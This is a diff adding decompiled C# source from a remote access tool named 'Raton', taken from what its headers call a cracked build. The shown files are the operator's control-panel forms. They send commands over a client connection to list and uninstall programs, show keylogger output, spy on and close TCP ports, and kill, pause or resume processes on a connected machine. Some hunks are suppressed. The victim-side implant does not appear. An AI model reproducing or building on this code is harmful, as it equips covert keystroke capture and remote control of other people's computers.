this.contextMenuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.saveToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(99, 26);
|
||||
this.saveToolStripMenuItem.Image = (Image) Resources.SaveAll_16x1;
|
||||
this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
|
||||
this.saveToolStripMenuItem.Size = new Size(98, 22);
|
||||
this.saveToolStripMenuItem.Text = "Save";
|
||||
this.saveToolStripMenuItem.Click += new EventHandler(this.saveToolStripMenuItem_Click);
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(504, 508);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "ResourceSymbols_16x.png");
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(504, 508);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.Visible = false;
|
||||
this.columnHeader1.Text = "Resource";
|
||||
this.columnHeader1.Width = 184;
|
||||
this.columnHeader2.Text = "Value";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 318;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(504, 508);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonInformation);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonInformation);
|
||||
this.Load += new EventHandler(this.ratonInformation_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,178 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonInstalledPrograms
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonInstalledPrograms : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem uninstallToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
public Label label1;
|
||||
public ImageList imageList1;
|
||||
public Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonInstalledPrograms()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonInstalledPrograms_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Programs");
|
||||
pack.SetString("Command", "Uninstall");
|
||||
pack.SetString("Name", selectedItem.Tag.ToString());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
this.aeroListView1.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Programs");
|
||||
pack1.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView1.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Programs");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonInstalledPrograms));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.uninstallToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "Admin.png");
|
||||
this.contextMenuStrip1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[2]
|
||||
{
|
||||
(ToolStripItem) this.uninstallToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(125, 48 /*0x30*/);
|
||||
this.uninstallToolStripMenuItem.Image = (Image) Resources.Uninstall_16x;
|
||||
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
|
||||
this.uninstallToolStripMenuItem.Size = new Size(124, 22);
|
||||
this.uninstallToolStripMenuItem.Text = "Uninstall";
|
||||
this.uninstallToolStripMenuItem.Click += new EventHandler(this.uninstallToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(124, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(535, 591);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Loading...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[3]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(535, 591);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 182;
|
||||
this.columnHeader2.Text = "Version";
|
||||
this.columnHeader2.Width = 124;
|
||||
this.columnHeader3.Text = "Publisher";
|
||||
this.columnHeader3.Width = 227;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(535, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonInstalledPrograms);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonInstalledPrograms);
|
||||
this.Load += new EventHandler(this.ratonInstalledPrograms_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,78 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonKeylogger
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonKeylogger : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonKeylogger()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonKeylogger_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonKeylogger));
|
||||
this.textBox1 = new TextBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Cursor = Cursors.Default;
|
||||
this.textBox1.Dock = DockStyle.Fill;
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.ScrollBars = ScrollBars.Vertical;
|
||||
this.textBox1.Size = new Size(600, 553);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(600, 553);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonKeylogger);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonKeylogger);
|
||||
this.Load += new EventHandler(this.ratonKeylogger_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,180 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonPorts
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonPorts : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
private ImageList imageList1;
|
||||
public Label label1;
|
||||
public AeroListView aeroListView1;
|
||||
public Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem closeTCPToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonPorts()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonPorts_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Visible = true;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PortSpy");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void closeTCPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
|
||||
this.label1.Visible = true;
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "ClosePort");
|
||||
pack1.SetString("Port", text);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "PortSpy");
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonPorts));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.closeTCPToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(494, 505);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.Visible = false;
|
||||
this.columnHeader1.Text = "IP";
|
||||
this.columnHeader1.Width = 151;
|
||||
this.columnHeader2.Text = "Port";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 91;
|
||||
this.columnHeader3.Text = "Type";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 78;
|
||||
this.columnHeader4.Text = "Status";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 172;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "ListenFor_16x.png");
|
||||
this.imageList1.Images.SetKeyName(1, "Link_16x.png");
|
||||
this.imageList1.Images.SetKeyName(2, "Time_16x.png");
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-3, 234);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(497, 13);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[2]
|
||||
{
|
||||
(ToolStripItem) this.closeTCPToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(128 /*0x80*/, 48 /*0x30*/);
|
||||
this.closeTCPToolStripMenuItem.Image = (Image) Resources.CloseLog_16x;
|
||||
this.closeTCPToolStripMenuItem.Name = "closeTCPToolStripMenuItem";
|
||||
this.closeTCPToolStripMenuItem.Size = new Size((int) sbyte.MaxValue, 22);
|
||||
this.closeTCPToolStripMenuItem.Text = "Close TCP";
|
||||
this.closeTCPToolStripMenuItem.Click += new EventHandler(this.closeTCPToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size((int) sbyte.MaxValue, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(494, 505);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonPorts);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonPorts);
|
||||
this.Load += new EventHandler(this.ratonPorts_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,283 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonProcess
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonProcess : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
private Timer timer2;
|
||||
public Label label1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem killProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem pauseProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem resumeProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshProcessToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem processInformationToolStripMenuItem;
|
||||
public Timer timer1;
|
||||
public ImageList imageList1;
|
||||
private ColumnHeader columnHeader5;
|
||||
private ColumnHeader columnHeader6;
|
||||
private ColumnHeader columnHeader7;
|
||||
private ColumnHeader columnHeader8;
|
||||
public AeroListView aeroListView2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonProcess()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = "This is taking too long, maybe bad connection?";
|
||||
}
|
||||
|
||||
private void Command(string command)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString(nameof (Command), command);
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonProcess_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Kill");
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void pauseProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Pause");
|
||||
}
|
||||
|
||||
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Resume");
|
||||
}
|
||||
|
||||
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void changeColor(string name)
|
||||
{
|
||||
foreach (ListViewItem listViewItem in this.aeroListView2.Items)
|
||||
{
|
||||
if (string.Equals(listViewItem.Text.Trim(), name, StringComparison.OrdinalIgnoreCase))
|
||||
listViewItem.ForeColor = Color.LightCoral;
|
||||
}
|
||||
}
|
||||
|
||||
private void processInformationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "Info");
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonProcess));
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.killProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.pauseProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.resumeProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.refreshProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.processInformationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.columnHeader7 = new ColumnHeader();
|
||||
this.columnHeader8 = new ColumnHeader();
|
||||
